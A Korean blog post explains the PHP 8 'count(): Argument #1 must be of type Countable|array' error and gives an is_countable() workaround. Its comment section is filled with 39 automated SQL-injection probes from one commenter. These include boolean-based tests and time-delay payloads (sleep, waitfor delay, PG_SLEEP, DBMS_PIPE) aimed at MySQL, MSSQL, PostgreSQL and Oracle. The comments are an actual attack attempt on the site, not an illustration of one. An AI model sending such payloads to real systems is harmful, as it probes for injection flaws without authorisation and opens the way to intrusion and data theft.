[PHP] count(): Argument #1 ($value) must be of type Countable|array, null given ...

PHP Fatal error:  Uncaught TypeError: count(): Argument #1 ($value) must be of type Countable|array, null given in /…/…

  배열이나 객체의 원소 수를 셀 때 count 함수를 쓰곤 한다. PHP 8 이상에서 셀 수 있는 객체나 변수를 count 함수로 세려고 하면 위와 같은 오류가 나올 수 있다. PHP 7까지는 없던 제한이다.

$a = count($b);

  $b가 null 값이거나 셀 수 없는 것이면 오류가 날 수 있다. 아래처럼 바꾸어 주면 PHP 7에서와 같은 결과를 얻을 수 있다.

$a = is_countable($b) ? count($b) : 0;
2024/07/09 18:40 2024/07/09 18:40
글 걸기 주소 : 이 글에는 글을 걸 수 없습니다.

덧글을 달아 주세요

  1. fnfOzvSR 2026/04/28 04:31 고유주소 고치기 답하기

    -1 OR 2+65-65-1=0+0+0+1 --

  2. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    -1 OR 3+65-65-1=0+0+0+1 --

  3. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    -1 OR 3*2<(0+5+65-65) --

  4. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    -1 OR 3*2>(0+5+65-65) --

  5. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    -1 OR 2+161-161-1=0+0+0+1

  6. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    -1 OR 3+161-161-1=0+0+0+1

  7. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    -1 OR 3*2<(0+5+161-161)

  8. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    -1 OR 3*2>(0+5+161-161)

  9. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    -1' OR 2+335-335-1=0+0+0+1 --

  10. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    -1' OR 3+335-335-1=0+0+0+1 --

  11. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    -1' OR 3*2<(0+5+335-335) --

  12. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    -1' OR 3*2>(0+5+335-335) --

  13. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    -1' OR 2+11-11-1=0+0+0+1 or 'lJqiTN8E'='

  14. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    -1' OR 3+11-11-1=0+0+0+1 or 'lJqiTN8E'='

  15. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    -1' OR 3*2<(0+5+11-11) or 'lJqiTN8E'='

  16. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    -1' OR 3*2>(0+5+11-11) or 'lJqiTN8E'='

  17. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    -1" OR 2+552-552-1=0+0+0+1 --

  18. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    -1" OR 3+552-552-1=0+0+0+1 --

  19. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    -1" OR 3*2<(0+5+552-552) --

  20. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    -1" OR 3*2>(0+5+552-552) --

  21. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    1*if(now()=sysdate(),sleep(15),0)

  22. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

  23. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

  24. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  25. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    1-1; waitfor delay '0:0:15' --

  26. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    1-1); waitfor delay '0:0:15' --

  27. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    1-1 waitfor delay '0:0:15' --

  28. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    1d7sRAuvX'; waitfor delay '0:0:15' --

  29. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    1-1 OR 922=(SELECT 922 FROM PG_SLEEP(15))--

  30. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    1-1) OR 282=(SELECT 282 FROM PG_SLEEP(15))--

  31. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    1-1)) OR 472=(SELECT 472 FROM PG_SLEEP(15))--

  32. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    11kQGnCAs' OR 761=(SELECT 761 FROM PG_SLEEP(15))--

  33. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    1ynV9zwcr') OR 282=(SELECT 282 FROM PG_SLEEP(15))--

  34. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    1OUROYaVe')) OR 113=(SELECT 113 FROM PG_SLEEP(15))--

  35. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  36. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  37. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    1'"

  38. fnfOzvSR 2026/04/28 04:32 고유주소 고치기 답하기

    @@eTIMy

  39. fnfOzvSR 2026/04/28 04:33 고유주소 고치기 답하기

    1